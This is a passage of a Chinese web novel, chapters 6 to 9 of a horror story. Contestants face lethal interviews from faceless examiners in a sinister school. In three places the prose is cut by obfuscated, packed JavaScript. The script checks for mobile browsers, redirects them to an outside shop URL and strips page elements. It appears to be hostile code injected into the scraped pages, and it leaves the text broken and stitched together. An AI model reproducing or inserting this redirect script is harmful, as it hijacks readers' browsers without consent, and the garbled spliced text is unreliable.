沈笑白的视线定在门口:“考官来了。” 考官。 这两个字像一盆冰水一样,把所有人从头浇到脚。 刚才还吵吵嚷嚷的教室,瞬间鸦雀无声。 那个无脸的考官,不知道什么时候,站在了教室门口。 他就那么斜倚在门框上,一只手插在裤兜里。空白的脸看着教室里这群人,也不知道看了多久。 他肚子里的声音响了起来:“怎么不继续聊了?刚才不是挺热闹的吗?” 听到这个声音,众人这才意识到不对劲。 他不是刚才那个考官。 虽然穿着打扮一样,长相也一样,声音也同样是从肚子里发出来的。但这个声音,明显比刚才那个,更清亮,更年轻。 只见新来的考官站直身子,慢悠悠地往前走。 他走过的地方,人群自动往两边退,让出一条路。没有人敢挡在他前面,甚至没有人敢呼吸得太大声。 考官穿过人群,一直走到讲台前才停下。他转过身,空白的脸扫过教室里每一个人。 “我是负责第二轮考试的考官,本场考试是面试。由我来提问,你们现场回答,我当场宣布结果。” “第一题,请听题。” 没有任何缓冲,没有给任何人反应的时间,面试就这样直接开始了。 考官:“你是光明中学的老师,现在手上有一个顶级大学的保送名额,但候选人有四个。四选一,你选谁。” “第一个,是富豪的孩子。他许诺,送你一套首都中心的豪宅。” “第二个,是局长的孩子。他许诺,让你当校长,从此前程无量。” “第三个,是你的孩子。他复读失败五年,跪在你面前哭,这是他唯一能考上的机会。” “第四个,是你的学生,他靠自己努力,年年考第一,但他父母双亡,家境贫寒,什么都给不了你。” “可这个名额,”考官一字一顿,“本来就是他的。” 说到这里的时候,考官笑了一声。 那笑声,很是轻蔑。 “现在,四选一。” “你要把这唯一的保送名额,给谁?” 6. 第(0+3)!章 考官那张空白的脸扫过全场,像是在看一群待宰的羊,该挑哪只先下刀。 “这第一题,谁想先来回答呢?” 底下的人齐刷刷低了头,没人敢看他。没人想当这第一个。 “啊?都这么内向啊?”考官歪了歪头,感觉很苦恼,“那没办法,只能我来选了。” 他伸出手指,开始在人群上空点来点去,从左到右,从前到后,像小孩子玩游戏一样。 考官:“小公鸡,点到谁,我就选谁。” 他停住了。 “就你吧。” 所有人的目光顺着考官的手指看过去。 是个老头。 头发花白,背微微驼着,看起来七十多了。 他刚才一直缩在最后面,尽量把自己藏进别人的影子里。此刻被点到,整个人像被电了一下,浑身一抖,拐杖差点抖脱手。 考官没给他反应的时间,直接从讲台下面掏出一个倒计时器。 是和上一间教室一样的黑色时钟,从60秒开始往下跳。 60秒、59秒、58秒…… “一分钟之内,把你的答案告诉我。”考官说,“超时,直接判定为不及格哦。” 老头颤抖得更厉害了,要不是有拐杖撑着,他现在已经瘫倒在地了。 四个选项:富豪的孩子,局长的孩子,你的孩子,你的学生。 选谁? 这个唯一的保送名额,到底应该给谁啊? 老头慌乱地看向四周,求助周围的人:“求求你们……帮帮我……” 没人应他。 所有人都往后退了半步。 老头的脸色变了:“刚才我们不是说好了互相帮忙,一起活下来的吗!怎么现在都不说话了??” 人群里有人动了动。 一个中年女人突然往前迈了一步。 她不是想帮老头,是怕等会儿轮到自己回答的时候,也没人帮着出谋划策。 “选第四个,你的学生。”中年女人说,“第一间教室的校训写了,要守德信。” “按这个要求,这个保送名额本来就是他的。我们当老师的,不该还给他吗?” 话音刚落,另一个男人就接上了。 “别听她的。”他摆摆手,“你自己看看这间教室墙上贴校训了吗?根本没有!这题考的就不是那个。” 他转向老头,语气笃定道:“选第三个,自己的孩子。连血脉至亲都不管不顾,那还是人吗?” “不对不对!” 又一个人挤进来。 “这题考的不是你要选什么,而是你选了之后,还能不能活命!”他这样说。 “如果你把名额给自己的孩子,那第二个局长的孩子能饶得了你?你工作都保不住,全家喝西北风去?” “选第四个也不行,那个穷学生,本来就什么都没有,你再把他唯一的保送希望抢走,他跟你拼命怎么办?” 他信誓旦旦说出自己的选择:“选第一个。把名额给富豪的孩子,拿了房子再转手卖掉,带着孩子马上跑,离这些人远远的!” “不对不对,我说就应该选第二个,局长的孩子!” “不对……” 七嘴八舌的建议越来越多,现场越来越吵。 老头站在中间,被这些声音包围着,左耳进右耳出,脑袋都快炸了。他看看这个,又看看那个,每个人说的都有道理,但又都有漏洞。 到底该把保送名额给谁? 到底什么是正确答案? 他的视线慌乱地扫过人群,最后停在一个年轻姑娘身上。 沈笑白。 老头眼睛亮了一下。像溺水的人看见浮木一样,踉跄着朝她挤过去。 “姑娘!好姑娘!你帮帮爷爷吧!” “爷爷老了,脑子转不动了。你灵,刚才要不是学你,我们全得折里头。你肯定知道选哪个对不对?” “你告诉爷爷,爷爷求你了!” 老头的眼睛里泛着泪花,伸手就要去握沈笑白的手。 沈笑白侧身一躲。老头的手直接扑了个空,卡在半空中,不上不下。 “这话说的,”沈笑白微微一笑,“你吃的饭比我吃的盐都多。你都没办法的事,我一个晚辈能有什么办法。” 被一个小姑娘这么直白的拒绝,老头脸上直接挂不住了。他那双泪汪汪的眼睛,瞬间冷了下去。 他收回了自己的手,用极低的声音骂了一句:“装什么装。” 然后一转身,又换回那副可怜巴巴的样子,踉跄着准备扑向下一个人。 可倒计时器上的时间已经不多了。 8秒,7秒,6秒…… 没时间了。 老头咬咬牙,干脆直接走到考官面前。 进来这个错纬这么久了,他也摸清了,这是一个复古的错纬。什么黑板,喇叭,纸笔,全是上上个时代的玩意儿。在这里回答问题,得用他们能理解的方式。 他深吸一口气,说出了自己的答案:“我选第四个,把保送名额还给我的学生。” 他顿了顿,沉声道:“这个学生,他和我很像。” “我也是穷苦出身,那年我考了全市第一,名额却被人顶了。顶我的人家里有关系,我爸跪在学校门口求了三天,一点没用。” “后来我只能去厂里打工,吸了几十年废气,身体垮了,现在还查出了绝症。” 他说得慢,一字一句,几度哽咽,“我现在快死了,已经没机会了。但我想给这个孩子一次机会,还他一次公平。” 老头边说,边观察着考官的反应。 凭他以前的工作经验,这种面试题一般没有标准答案。考官自身的喜好,是唯一的评判标准。 只要回答说得合理,能说服考官,让考官满意,甚至让考官感动,就大概率能通过。 果不其然。 考官听完后,开始鼓掌。 一下,两下,三下。 “哇!”考官赞叹道,“感人,真的,太感人了。” “穷苦出身,自己被夺走了机会,还想用尽最后的力气,去帮助另一个自己,还他一个公平。” “这样的老师,是多么善良,多么高尚!这正是我们光明中学,梦寐以求的好老师!” 老头紧绷的肩膀松了下来,脸上是压不住的得意。他就知道,这种故事,肯定管用。 可下一秒。 “不过很可惜,”考官的声音突然冷了下来,“我最讨厌穷人了。” 老头脸上的得意,瞬间僵住。 “穷人就该一辈子待在底层,生一堆穷孩子,穷孩子再生穷孩子,世世代代活在底层,给富人当燃料。” 考官居高临下地看着他,像在看一只臭虫。 “你们这样的垃圾,居然还妄想上顶级大学?你们配吗?” “你的面试结果是0分,不及格。” 老头愣了一秒。 然后扑通一声跪下去,膝盖撞在水泥地上,发出闷响。他几乎是爬着冲到讲台前,一把抱住考官的腿。 “不!不是的!” “我刚才是编的!我不穷!我根本就不是穷人!” “我有十套房!都在市中心!什么被人抢名额,全是我编的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是他们真的乖巧,而是考官发话了,没有人敢不照做。 这个教室虽然没有校训,但黑板上的三条考场规则还写着。第一条就是:完全服从考官安排。 他们蹲在地上,假装周围有桌椅和背包。有人抱着头,有人把书包顶在脑袋上。 老头在人群中穿梭,满意地点着头。然后他直起身,开始下一步。 “很好,现在震感减弱了,大家抓紧起来,我们有序撤离,一个个出去,到下面操场空旷的地方集合。” “来,一个个来,不要挤!” 老头一边说,一边把排好队的众人带到教室门口。 打开门,他正要送第一个人出去。 “等等!” 队伍里一个女人突然站出来,指着教室另一侧,问道:“他们怎么不动?” 大家顺着她指的方向看去。 教室的另一侧,站着三个人:沈笑白,纪燃,谢止。 从始至终,他们就没蹲下过,一动不动地站在原地。 周围的人纷纷发出疑惑: “对啊,你们怎么不动啊?” “规则不是说要完全服从考官的安排吗?你们不服从,怎么什么事都没有?!” “考官?你们说他?” 沈笑白指了指讲台上那个无脸人。 “因为他根本不是考官。” 7. 第 |-7| 章 经过上一轮的生死局,沈笑白现在说的话,比黑板上写的规则都好使。 因为在上一间教室,大家就是听了她的判断才活下来的。 所以当她说现在这个考官是假的,所有人脸色骤变,贴着墙根挤成一团,瑟瑟发抖,谁也不敢再乱动。 考官倒是先动了。 他慢慢转过脸,盯着沈笑白。 “你说什么?”他阴恻恻道,“你敢质疑考官?” 一股寒意从讲台蔓延开来,所有人不寒而栗,大气都不敢喘一下。 “还装?”沈笑白倒是丝毫不受影响,“心理素质还挺好的。” “行,就当你是考官,那我来问你。” 她似笑非笑:“刚才你宣布那老头不及格的时候,广播怎么没响?” 此话一出,众人才惊觉。 对啊。 刚才广播怎么没响? 上一场考试的时候,考官每次宣布回答错误,给出不及格之后,广播一定会响。那个冷冰冰的机械音,他们到死都不会忘记: 【光明中学,只收精英。不合格品,就地销毁】 可刚才呢? 什么都没有。 全程死寂。 非但广播没响,这个考官居然还伸手去扶老头起来,最离谱的是,他竟然给了老头一次补考机会。 第一场考试的那个考官,会做这些吗? 显然不会。 他只会站在讲台上,冷眼旁观,等着你犯错,等着你不及格,等着广播响起。更别说扶人起来,还给人补考机会。 这不对。 这太不对了。 “所以你不是考官。”沈笑白直接下结论。 “我猜,你故意假扮考官混进来,就是为了引导我们犯规吧?” 此话一出,众人顿时脸色煞白。 沈笑白继续道:“不出意外的话,他们踏出这间教室之后,广播就会立刻响起。” “说他们违反考场规则,然后立刻被销毁。” 考场规则第三条,明明白白写在黑板上:考试结束方可离开,且须在10分钟内离开 换句话说,考试期间不能离开。一旦离开,就是违规。违规,就是死。 “回来!快回来!别出去!!”人群里不知道谁先吼了一嗓子。 紧接着,所有人疯了似的往教室中间窜。 “差点上当了!” “就是,演得跟真的一样!” “什么狗屁考官,就是个冒牌货!” 知道那不是真考官之后,众人的胆子也跟着壮了起来。刚才还贴在墙根发抖的那拨人,这会儿敢直接骂出声了。一边骂一边往沈笑白那边靠,离那个冒牌货要多远有多远。 沈笑白的话已经说到这个地步了,讲台上那个考官也懒得再装了。 “坏我的好事?”他声音一沉,“你是有几条命够活的?” 说完便往前迈了一步,袖子一撸,像是要动手的样子。 众人见状,纷纷往后退了几步,缩起了脖子,一点都没有刚才骂人时气势汹汹的样子。 就在所有人都以为沈笑白这次死定了的时候,一个声音突然响起。 “你在这里干什么?” 教室门口突然出现了另一个无脸人。她的脸上也写着两个字,考官。 她走了进来。 白衬衫,半裙,裙摆刚好到膝盖,配着高跟小皮鞋,一身标准的女士职业套装。 她没有搭理教室里的众人,径直走向讲台上的假考官,在他面前停了下来。 明明那个假考官身形更为高大一些,但他看起来却有些发怵,不由自主往后退了半步:“你想干什么……” 女考官什么都没说,直接抬手。五指张开,一把薅住对方的头发。 然后用力往下一扯。 嘶啦一声。 假考官的脸皮被活生生撕了下来。头发连带着下面连着的脸皮,一整张,全扯了下来。 就像剥洋葱一样,顺滑得诡异。 台下好些人下意识遮住双眼,不敢看。所有人都在等血涌出来,等血淋淋的筋肉,甚至等骨头,或者什么更恶心的东西。 但并没有。 一张脸皮撕下来之后,露出来的是另一张脸皮。和上一张几乎一模一样,没有五官,光滑的,光秃秃的一张脸。 但上面的字变了,写的不是考官,而是。 学生21号。 “章磊,又是你。” 女考官开口道,“上课时间不在教室,跑到面试间来干什么?” 章磊本想把这事嫁祸给别人,现在被直接认出来,索性也不装了。双手插兜,一副理直气壮的样子:“老师,我是看您工作太辛苦了,来帮您面试啊。” “不过这批老师的质量太差了,绝对不能招。” “尤其是那个,动不动就笑的那个。”他抬起手,指了指下面的沈笑白,“她考试作弊,绝对不能收!” 章磊信口胡诌了个理由,想让老师直接把人开了。又怕分量不够,末了又补了一句:“你要是敢收她,我就向学校投诉你!” 被自己的学生当众威胁,换作别的老师早该动气了。 但这个考官没有,她反而很温柔地拍了拍章磊的肩膀,贴心提醒了一句: “今晚要开家长会,你是忘了吗?” 就这一句话,让章磊整个人僵在原地。 如果他有五官的话,此刻的表情一定很精彩。可惜那张脸上一片空白,什么也看不出来。 但他开口时,声音明显软多了:“老师,我错了,我再也不敢了!我这就回教室,马上回去!” 说完就慌慌张张往外跑,经过门口时还被门槛绊了一下,差点摔个狗吃屎,能看出他有多害怕老师口中的那个家长会。 赶走了闹事的学生,这位考官还不忘安抚台下的考生:“刚才大家都吓到了吧?放心,现在没事了。” “来,大家快站到中间来,我们抓紧开始第二场考试。” 尽管考官的声音很温柔,语气也很柔和,一副和蔼可亲的样子,但教室里的人,没有一个听她的动起来。 不是欺软怕硬,而是这场闹剧来得太快,结束得又太快了,快得让人反应不过来。刚刚才经历了一场真假考官事件,现在又来了一个新的考官,大家很难不怀疑她的身份。 “怎么证明你是真的考官?万一你也是假的呢?”人群中有人说出了大家的疑虑。 “是啊,说不定你和刚才那个人是一伙的,故意演戏给我们看的!” “对啊,万一你也是想诱导我们违规呢!” 质疑声像滚雪球一样,越滚越大。 考官却没恼,她甚至笑了一下,还抬起手,轻轻鼓了两下掌。 “嗯,这问题问得好,”她表扬道,“你们这么有警惕心是好事,值得表扬。” 话锋一转。 “不过,我不需要你们相信。” “你们大可以站在那儿不动,看看一会儿违规的,是我,还是你们。” 考官这幅气定神闲的样子,把大家给唬住了。如果她是真的考官,那不服从她的安排,必然会违规;可她如果是假的,必然会引导大家犯规,就像刚才那个假考官一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528264|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就在大家犹豫不决之际,有人动了。 是沈笑白。 还有她边上的纪燃和谢止。 他们几乎是同时迈开步子,往教室中央走了几步,然后站定。几个人之间没有任何商量,也没有犹豫。就这样做出了选择。 其他人看到沈笑白选择相信这是真的考官,再没有任何迟疑,纷纷跟了过去。 窸窸窣窣的脚步声响起。 他们一个接一个,全都站到了教室中央,还很自觉地排起了整齐的队列。 “很好。” 考官点了点头,表示很满意,然后直接宣布第二轮考试正式开始。 “本轮考试是面试。由我来出题,你们当场回答,现场公布结果。” “回答正确的,可以安全离开教室。”考官指了指讲台边的大门。 “回答错误的,直接进垃圾间。”她又指向教室的后方。 沈笑白顺着看过去。这才发现,后墙那儿有一扇铁门,又窄又小,几乎要和墙壁融为一体。 门上写着三个字:垃圾间。 门板上溅满了血。 早已干透的血。 黑色的,褐红色的,新的盖着旧的,分不清是多少人留下的。 这一道道触目惊心的血迹,配上垃圾间这三个字,让人毛骨悚然。 “垃圾间……答错就要进那里?进了会怎么样?” “还能怎么样?被当成垃圾直接销毁啊!” “就是啊!那门上都是血,肯定是之前答错的人留下的!” 这话一出,恐慌像瘟疫一样蔓延开。大家抖成一团,却又毫无办法。跑不掉,也躲不开。 考官并不打算给他们喘息的时间,她直接宣布考试正式开始,然后就开始选。选第一个上来面试答题的人。 她扫了一眼人群,随手点了一个人:“就你吧。” 又是刚才那个老头。 “又是我??”老头脸色煞白,一脸不可置信,哀嚎道,“我怎么这么倒霉啊!” 边上的人暗自庆幸不是自己,识相的往边上退开,给老头让出一条路。 必须服从考官的安排。 老头没办法,只能颤巍巍拄着拐,一步一步挪到考官面前。 “这位老先生,你别紧张。”考官温声安抚,就像在关心自家长辈一样,“我的题目不难,很简单的。” 老头愣愣地点了点头,没有被安抚到半分。 他在心里默默祈祷,一定要是最简单的题,一定要是。 考官讲起了题目: “你现在正在上课,课堂上的一个学生突然站起来,说他是你失散多年的亲爹,非要当场滴血认亲,还威胁说如果你不同意,他现在就去你办公室的工位上拉屎。” “请问,作为这节课的老师,你该怎么办?” “啊?” 老头呆住了,他以为是自己年纪大,耳背,听错题目了。 考官很贴心的问:“怎么了?没听清吗?我可以再念一遍。” 于是又念了一遍。 这次老头确认了,自己没有耳背,没有听错。 考官说的每个字他都听得懂,但是放在一起,愣是没组装成一句人话。 一个老师,遇到一个学生自称是他亲爹,要当成滴血认亲,不答应就在他工位上拉屎??? 这、这是什么题目啊??? 他当了大半辈子校长,见过的离谱题目能绕操场一圈,但从没见过这么离谱的。 这就是考官嘴里很简单,不难的题目? 谁能告诉他,这种题到底该怎么答?? 8. 第C(8,1)章 刚才在假考官手下答题的时候,老头就是向周围人求助的,现在自然也不例外。 他正欲再次开口,考官却像猜到了他要做什么,提前一步说道:“老先生,我是在问你,不是在问他们。” “答案要自己想,不然就直接判定你不及格哦。” 真考官就是没有之前那个假的好说话,老头只能硬生生把到嘴边的求助咽了回去。 倒计时一秒一秒地跳,38秒、37秒、36秒…… 每一下,都像跳在了老头的棺材板上,震得他心惊肉跳。他额头上沁出一层细汗,顺着皱纹往下淌。 老头绞尽脑汁地整理措辞,一直拖到倒计时快走完,才开口: “我……我会先安抚那个学生,让他先坐下,有什么事下课再说。” “如果他执意要闹,我就让他去门口冷静一下。然后先正常上课,这么多同学都还等着。” “课后我会找这个学生谈话,了解他的家庭情况,看看是不是有什么心理问题需要疏导。” 这是老头能想到的最完美的答案了。他把这辈子所有的经验和智慧全压在这一刻,每个字都是斟酌过再说的。 然后他小心翼翼地看向考官,等着对方打分。 考官听完,沉默了片刻:“你的答案,我只能给0分。” “0分?怎么可能!” 老头激动道,“我安抚学生,维持课堂秩序,课后了解情况,这已经是最好的处理方式了!不可能有比这个更好的答案!” 考官没有反驳,只是耐心地听着,微微点了下头。 “老先生,你说的都对。”她说,“可问题是……那学生说他是你亲爹啊。” 老头一愣:“什么?” “你让亲爹去门口冷静一下?”考官摇头,“这是不孝,是大不敬啊!我们光明中学,不敢收这样的老师。” “你在说什么胡话?”老头满脸写着荒谬,“学生怎么可能是老师的亲爹?” 考官没接他的话,只是温柔地提醒了句:“老先生,这里是光明中学的考场。” “我是考官,我说什么,什么就是事实。我说你亲爹坐在你课堂上,那他就坐在你课堂上。” 老头被一口噎住。 是了。 考场规则第一条:必须服从考官的安排。考官说的话,就是唯一真理。 “所以很遗憾,你的面试结果是0分,不及格。”考官说,“垃圾间就在后面,您直接去吧。” 老头脸色顿时煞白。 他嘴唇哆嗦了一下,老招式又使了出来:“考官,能不能再给一次机会?我刚才太紧张了,没发挥好。再给我一次机会,我一定能答好!就一次!我求求您了!” 考官摇了摇头:“这里是考场,不是菜市场,不是讨价还价的地方。” 一口拒绝,干净利落。 老头彻底没招了。他站在原地没动,嘴唇哆嗦了两下,像是还想说什么,但一个字都挤不出来。 他的目光慢慢移向后墙那扇铁门。门上的血迹明显被清洗过,但因为太厚了,还是没洗干净。一层叠一层,发黑发褐,有些是从门缝里渗出来,有些是溅上去的。 他不想进去。 他不想死。 他这一辈子,顺风顺水,要什么有什么,钱铺路,人搭桥,从没走过一步弯路,竟然要死在这种鬼地方? 等等。 不对。 老头忽然想起一件事,瞳孔猛缩了一下:“广播!你刚才判我0分的时候,广播根本没响!” “假的!你也是假的考官!就是想让我去垃圾间送死对不对!” 考官闻言却没有慌乱,反而有些无奈地摇了摇头,叹了口气。 “老先生,我确认一遍,”她问,“你是在违抗考官的安排吗?” “违抗什么违抗!你是假的!我为什么要听你的!我才不进去送死!” 老头现在认定了对方是假的,什么话都听不进去,只是一个劲地吼着,“你和刚才那个假考官是一伙的!你们俩演戏,就是想弄死我们!” 【考生51号,违反考场规则,未服从考官安排】 广播毫无征兆的响起。 【光明中学,只收精英。犯错者,就地销毁】 老头怔在原地,他甚至还没来得及听清广播的内容,考官的脸已经从中间裂开。那张大家熟悉的血盆大口再次冲出来,直奔老头而去。 顷刻之间,老头就被整个吞了进去。从头到脚,连那根拐杖都没剩下。 那张嘴餍足地舔了舔嘴唇,缩回考官的脸皮底下。 考官抬起手,轻轻抹了一下脸皮中间那道还没完全愈合的裂缝,又慢条斯理地从口袋里掏出纸巾,擦了擦手指。 和上一个男考官那粗鲁的模样截然不同,眼前这位,优雅,得体,像个刚吃完下午茶的贵妇。 全程没留下一点血迹,干干净净,就像老头这个人从来没有存在过一样。 这一幕,看得所有人目瞪口呆。 刚才他们还和老头一样,觉得广播没响,考官肯定是假的。可事实证明,眼前这个考官,是真的。 那刚才她宣布老头0分的时候,广播为什么没响? 即便是沈笑白,此刻也想不通原因。按照上一间教室的规则,考官宣布不及格之后,广播会立刻响起,宣布就地销毁。她刚才就是靠这个漏洞,识破了那个假考官。 可这个判断依据,现在完全失灵了。 难道说……每间教室的规则不一样? 她还来不及细想,讲台上的考官已经开始选下一个人了。 “下一个,选谁呢?” 考官自言自语着,手指在人群上空缓缓划过。划了一圈,又停住。 “就你吧。” 考官这次指的人,是谢止。 谢止没有像之前的老头那样战战兢兢,也没有左顾右盼。他几乎没有犹豫,径直走上前,在考官面前站定。 所有人都以为考官要像刚才那样,甩出一道狗屁不通的面试题。结果她上下打量了谢止一眼,莫名其妙地点了点头。 “不错,”考官说,“长得挺禁欲的,我喜欢。” 众人:“……” “谢谢。”谢止面不改色,“但我不喜欢没有脸的。” 这直白的拒绝,一点情面都没留,听得周围的人倒吸一口凉气。 考官却没恼,反而微微偏了偏头。 “人也冷,话也硬……”她说,“更喜欢了。” 众人:“……” “题目呢?”谢止直奔主题。 考官轻飘飘地抱怨了一句真没情调,声音里却带着笑意:“这位小哥哥,请听题。” “你是光明中学的老师,现在正在上课,你发现有个学生在偷偷玩手机。请问,作为老师,这时候你应该怎么做?” 问题一落地,谢止还没开口,边上的人先窸窸窣窣议论了起来。 “手机?是以前的终端吗?那这题也太简单了吧。” “对啊,直接把手机没收,让他下课去办公室啊,这也太复古了,简直送分题。” “凭什么他上来就是这种送分题?那刚才那老头死得也太冤了……” “对啊!不公平!就凭他长得好看吗?太偏心了吧!” 考官自然是听到了大家的说话声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528265|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她直接坦坦荡荡地承认了:“是哦,就凭他长得好看。” 末了还理直气壮地反问一句:“我就是偏心,怎么了?” 众人:“……” 不怎么。 就是不服。 但没人敢说。 考官像是看出了他们的憋屈和不甘,反倒有些不理解了:“你们是第一次参加面试吗?怎么会这么天真?” “面试的时候,长得好看本来就是加分项。有优待,甚至可以破格录取。这是潜规则,你们不知道吗?” 明明是一件上不了台面,暗搓搓的事情,她却说得理直气壮,仿佛这才是天经地义的规矩。 说完,考官没再搭理这群人,目光重新落回谢止身上时,贴心地提醒了一句:“抓紧答题哦,别超时。” 谢止沉默了片刻。 “没收手机,”他说,“让他当着全班的面把手机吞下去。” 这个答案一出来,所有人都觉得这男人疯了。 考官却点头了点头,语气里带着毫不掩饰的偏爱:“很好,很完美的答案。” 众人:“……” 有优待就是不一样,这么离谱的答案都能过。 就在他们以为这个男人已经稳了,可以安全从这个教室离开的时候。 “你的面试结果是0分,不及格。”考官这样说。 众人:“?” 说好的优待呢?说好的偏心呢?0分就是你给的优待? 不止众人不理解,谢止也皱起了眉,这是他今天第一次露出困惑的表情。 “理由。”他问道。 考官似乎就在等这句话。她往前倾了倾身子,像是准备分享一个秘密:“理由是我喜欢帅哥。” “但帅哥一呼吸……就不完美了。” “会动,会眨眼,会说话……”她顿了顿,“真扫兴。” 考官那张空白的脸上什么都看不见,却能感觉到一种不容置疑的笃定。 “没有呼吸的帅哥,才是真正的帅哥。” 帅哥,就该这样定义。 “你说,对吧?” 虽然这话是对着谢止问的,可考官没有等对方回答的意思。她指着教室后面的铁门,兴奋地催促:“快去垃圾间吧,那才是你该待的地方。” 末了,又贴心补了一句:“别害怕,晚点我会去看你噢。” 晚点去看什么?直接去看帅哥的尸体吗? 底下的人都不由自主冒出这个念头。 纪燃也是这么想的。只不过他关注的点,和别人不太一样。 “谢止这一去进去,肯定直接没命了吧?” 他扯了扯身边的沈笑白,低声问,“考核员死了,咱俩的考核怎么算?直接不通过?那我们不是白来一趟了?” 沈笑白摇摇头。 这个问题她也答不上来。 她也在担心,如果谢止真死了,他们的考核是不是直接作废?那才真是赔了夫人又折兵。 不行。 得想办法阻止,谢止不能死。 这个裁缝铺,她必须加入。 沈笑白正欲开口,一个利落的脚步声同时在身侧响起。 是谢止。 他直接朝垃圾间的方向走了过去。干脆利落,没有犹豫,也没有和考官争辩。 大家都看不懂,这个男人怎么连送死都送得这么干脆?但看他这副信誓旦旦的样子,又忍不住觉得他是不是有什么后招。 就连沈笑白也是这么以为的,于是她干脆闭上嘴,好奇地等着看对方到底怎么脱身。 只见谢止走到铁门前,手搭上门把手。 吱呀一声,门开了…… 9. 第3√729 章 门里面是一片漆黑。 一片浓稠的,化不开的黑,什么都看不清。 谢止走了进去,铁门在他身后自动关上,发出沉闷的一声响。 所有人屏住呼吸,死死盯着那扇门。大家都在等,等这个男人如何从里面脱身。 大约十几秒后,他们等到了。 只不过等到的是一声惨叫,一声男人的惨叫。短促,尖锐,像是刚发出声就被什么东西卷了进去。 紧随其后的是机械转动的声音。 哐当,哐当。 越来越快,越来越响。 那声音里还夹杂着骨头碎裂的咔嚓声,听起来像垃圾处理站的粉碎机,正在把什么东西一点一点搅碎。 然后有东西从门缝底下渗了出来。 是血。 浓稠的血液,正沿着门缝往外淌,在灰白的水泥地上慢慢洇开一片湿润。 这一幕把边上的人看得心凉了半截。他们看着那滩血越淌越远,越淌越宽,谁都说不出话来。 大家本来还抱着一线希望,希望这个男人能解决掉这个垃圾间,或者找到什么逃生的办法,那等轮到自己答错的时候,也能照样画葫芦自救。 结果这人也没了。 “他死了?”纪燃看着那滩血,难以置信,“剪师不是很厉害的吗?怎么就这么死了?” “那我们俩的考核,不是直接作废了?” 即便是向来从容淡定的沈笑白,此刻脸上也没了血色。 她本来以为谢止敢进去,肯定是有底牌的。结果呢?底牌就是去送死? 那她不是白进这趟错纬了? 自从穿越进这个游戏之后,如非必要,沈笑白绝不主动往错纬里凑。是能躲就躲,能绕就绕。 这次是为了进裁缝铺,她才咬牙跳进这个死亡率高得出奇的错纬。 现在好了,别说是进裁缝铺了,能不能活着出去都不知道。 沈笑白忽然觉得很后悔,早知道刚才应该拦住谢止的。 大约是她的表情实在过于明显,引起了考官的注意:“怎么?他死了,你看起来很难过?” “他是你朋友,还是……情侣?” 沈笑白没接话。 她在心里叹了口气。事已至此,后悔也没用了。 她把刚才拿点情绪摁了下去,再抬眼时,已经换上了平时那副笑模样,仿佛刚才那片刻的失态只是旁人眼花。 “他吗?”沈笑白轻笑道,“皮相还行,就是那张嘴,又硬又冲,三句话能把人噎死。我不喜欢这种。” “除非他把自己毒哑了,那倒是勉强可以考虑考虑。” “可惜了,”考官语气玩味,“还以为你们是一对呢,想着成全你一起跟进去,那多浪漫啊。” “算了算了,”她摆摆手,把话题拉回正题,“下一个,就你吧。” 沈笑白没有推辞,她也没有资格推辞。 她往前走了几步,在考官面前站定。脸上还是那副笑盈盈的表情,看不出半点紧张。 考官念出了题目: “你是光明中学的监考老师,在某场考试中,发现有个学生正在作弊。请问,这个时候,你该怎么处理?” 前两个人的回答,一个规规矩矩,一个疯疯癫癫。最后都得了零分,下场也一致的很惨。 所有人都以为沈笑白会好好斟酌一番再作答,毕竟前车之鉴就躺在后面的血泊里,谁也不想成为下一个。可没想到她几乎没怎么思考,考官话音刚落,她就开了口。 “作弊说明他想考好,想考好说明他上进。” 沈笑白干脆利落地给出结论,“作为老师,我应该搬个奖状给他,鼓励他继续保持这份积极性。” 众人:“……” 又来一个疯的。 考官却激动了起来。那是一种在荒郊野外偶然撞见同类的,压抑不住的兴奋。 “完美,太完美了!”考官道。 她太高兴了,居然有人能把她心里的答案一字不差地说出来,她好像闻到了…同类的气息。 但很快,那股兴奋就被她自己按了下去。考官叹了口气,难得带上了点真切的遗憾: “可惜了。” “狐狸多了,肉就不够分了。” 考官伸出手,指了指那扇还在渗血的铁门:“抱歉,你的面试成绩是0分,不及格。自己进垃圾间吧。” 还没等沈笑白开口说什么,纪燃就先一步冲了上来。 “等一下!” 他往沈笑白面前一挡,横在考官和她之间,“你这也太不讲道理了吧?” “她刚才说的答案,你自己都说完美了,结果你给她0分?这说得通吗?你这不是纯耍赖吗?!” 考官被他这番说辞给逗笑了:“还挺讲义气。” “行,那你也别答题了,我现在直接给你0分,你陪她一起进去。” 纪燃一滞,下意识后退半步。 沈笑白:“……” 平时白疼你了。 考官把这一幕收进眼里,嗤笑道:“还以为你多有种呢。” 纪燃脸上挂不住了,十几岁的年纪,正是火气最旺的时候,禁不住一点激。他直接往前又顶回去一步,一脸豁出去的表情:“一起就一起!谁怕谁!” 说着就要拉着沈笑白一起进去。 